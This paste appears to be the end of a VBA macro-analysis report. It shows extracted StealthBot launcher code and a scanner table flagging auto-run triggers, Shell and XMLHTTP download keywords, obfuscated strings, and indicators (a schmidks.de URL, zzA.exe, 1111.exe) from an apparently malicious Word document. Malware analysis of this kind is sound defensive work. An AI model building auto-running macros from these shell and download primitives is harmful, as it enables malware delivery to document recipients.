  805. '        .SelStart = Len(.Text)
  806. '        .SelLength = 0
  807. '        .SelColor = vbWhite
  808. '        .SelText = StringFormat("[{0}] ", Time)
  809. '        .SelStart = Len(.Text)
  810. '
  811. '        For i = LBound(saElements) To UBound(saElements) Step 2
  812. '            .SelStart = Len(.Text)
  813. '            .SelLength = 0
  814. '            .SelColor = saElements(i)
  815. '            .SelText = saElements(i + 1) & Left$(vbCrLf, -2 * CLng((i + 1) = UBound(saElements)))
  816. '            .SelStart = Len(.Text)
  817. '        Next i
  818. '    End With
  819. '    Exit Sub
  820. 'ERROR_HANDLER:
  821. '    If (Err.Number = 13 Or Err.Number = 91) Then Exit Sub
  822. '    ErrorHandler Err.Number, OBJECT_NAME, "AddChat"
  823. 'End Sub
  824.  
  825. Public Function GetWebPath()
  826. On Error GoTo ERROR_HANDLER
  827.     GetWebPath = "http://www.StealthBot.net/sb/Launcher/"
  828.    
  829.     Exit Function
  830. ERROR_HANDLER:
  831.     ErrorHandler Err.Number, OBJECT_NAME, "GetWebPath"
  832. End Function
  833.  
  834. Public Function ReplaceVars(sString As String) As String
  835. On Error GoTo ERROR_HANDLER
  836.     sString = Replace$(sString, "{PROFILEPATH}", "%APPDATA\StealthBot")
  837.     sString = ReplaceEnvironmentVars(sString)
  838.     ReplaceVars = sString
  839.    
  840.     Exit Function
  841. ERROR_HANDLER:
  842.     ErrorHandler Err.Number, OBJECT_NAME, "ReplaceVars"
  843. End Function
  844.  
  845. 'Public Function CheckForUpdates() As Boolean
  846. 'On Error GoTo ERROR_HANDLER:
  847. '
  848. '    Dim sTemp As String
  849. '    Dim i     As Integer
  850. '    Dim sCRC  As String
  851. '    Dim lRet  As Long
  852. '
  853. '    With frmLauncher.iNet
  854. '
  855. '        'sTemp = .OpenURL(StringFormat("{0}?p=lnews", GetWebPath))
  856. '        'AddChat vbGreen, StringFormat("Launcher news:{0}{1}", vbNewLine, ReplaceVars(sTemp))
  857. '
  858. '        sTemp = .OpenURL(StringFormat("{0}?p=lupdate", GetWebPath))
  859. '
  860. '        i = InStr(sTemp, Chr$(&HFF))
  861. '        If (i = 0) Then
  862. '            'AddChat vbRed, "Failed to get launcer update information."
  863. '            Exit Function
  864. '        End If
  865. '
  866. '        If (Not StrComp(Left$(sTemp, i - 1), StringFormat("{0}.{1}", App.Major, App.Minor), vbTextCompare) = 0) Then
  867. '            sTemp = .OpenURL(StringFormat("{0}?p=latest_url", GetWebPath))
  868. '            lRet = MsgBox(StringFormat("Version {0} of the launcher is avalible at {1}.{2}Would you like to download it now?", _
  869. '                Left$(sTemp, i - 1), sTemp, vbNewLine), vbYesNo)
  870. '
  871. '
  872.  
  873. '            If (lRet = vbYes) Then
  874. '                ShellExecute frmLauncher.hWnd, vbNullString, sTemp, vbNullString, vbNullString, SW_SHOW
  875. '                CheckForUpdates = True
  876. '            End If
  877. '            'AddChat vbGreen, "New updates avalible: ", vbWhite, sTemp
  878. '            Exit Function
  879. '        End If
  880. '    End With
  881. '    Exit Function
  882. 'ERROR_HANDLER:
  883. '    ErrorHandler Err.Number, OBJECT_NAME, "CheckForUpdates"
  884. 'End Function
  885.  
  886. Public Function ZeroOffset(ByVal lInput As Long, ByVal lDigits As Long) As String
  887. On Error GoTo ERROR_HANDLER:
  888.     ZeroOffset = Right$(String(lDigits, "0") & Hex$(lInput), lDigits)
  889.     Exit Function
  890. ERROR_HANDLER:
  891.     ErrorHandler Err.Number, OBJECT_NAME, "CheckForUpdates"
  892.     ZeroOffset = String$(lDigits, "0")
  893. End Function
  894.  
  895. +------------+----------------------+-----------------------------------------+
  896. | Type       | Keyword              | Description                             |
  897. +------------+----------------------+-----------------------------------------+
  898. | AutoExec   | AutoOpen             | Runs when the Word document is opened   |
  899. | AutoExec   | AutoClose            | Runs when the Word document is closed   |
  900. | Suspicious | Kill                 | May delete a file                       |
  901. | Suspicious | Open                 | May open a file                         |
  902. | Suspicious | Shell                | May run an executable file or a system  |
  903. |            |                      | command                                 |
  904. | Suspicious | WScript.Shell        | May run an executable file or a system  |
  905. |            |                      | command                                 |
  906. | Suspicious | MkDir                | May create a directory                  |
  907. | Suspicious | CreateObject         | May create an OLE object                |
  908. | Suspicious | Chr                  | May attempt to obfuscate specific       |
  909. |            |                      | strings                                 |
  910. | Suspicious | FileCopy             | May copy a file                         |
  911. | Suspicious | CreateTextFile       | May create a text file                  |
  912. | Suspicious | SaveToFile           | May create a text file                  |
  913. | Suspicious | Environ              | May read system environment variables   |
  914. | Suspicious | Write                | May write to a file (if combined with   |
  915. |            |                      | Open)                                   |
  916. | Suspicious | Output               | May write to a file (if combined with   |
  917. |            |                      | Open)                                   |
  918. | Suspicious | Print #              | May write to a file (if combined with   |
  919. |            |                      | Open)                                   |
  920. | Suspicious | Shell                | May run an executable file or a system  |
  921. |            |                      | command (obfuscation: VBA expression)   |
  922. | Suspicious | Shell.Application    | May run an application (if combined     |
  923. |            |                      | with CreateObject) (obfuscation: VBA    |
  924. |            |                      | expression)                             |
  925. | Suspicious | ADODB.Stream         | May create a text file (obfuscation:    |
  926. |            |                      | VBA expression)                         |
  927. | Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
  928. |            |                      | (obfuscation: VBA expression)           |
  929. | Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
  930. |            |                      | may be used to obfuscate strings        |
  931. |            |                      | (option --decode to see all)            |
  932. | Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
  933. |            | Strings              | may be used to obfuscate strings        |
  934. |            |                      | (option --decode to see all)            |
  935. | IOC        | http://www.schmidks. | URL                                     |
  936. |            | de                   |                                         |
  937. | IOC        | http://www.StealthBo | URL                                     |
  938. |            | t.net/sb/Launcher/   |                                         |
  939. | IOC        | zzA.exe              | Executable file name (obfuscation: VBA  |
  940. |            |                      | expression)                             |
  941. | IOC        | 1111.exe             | Executable file name (obfuscation: VBA  |
  942. |            |                      | expression)                             |
  943. +------------+----------------------+-----------------------------------------+
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement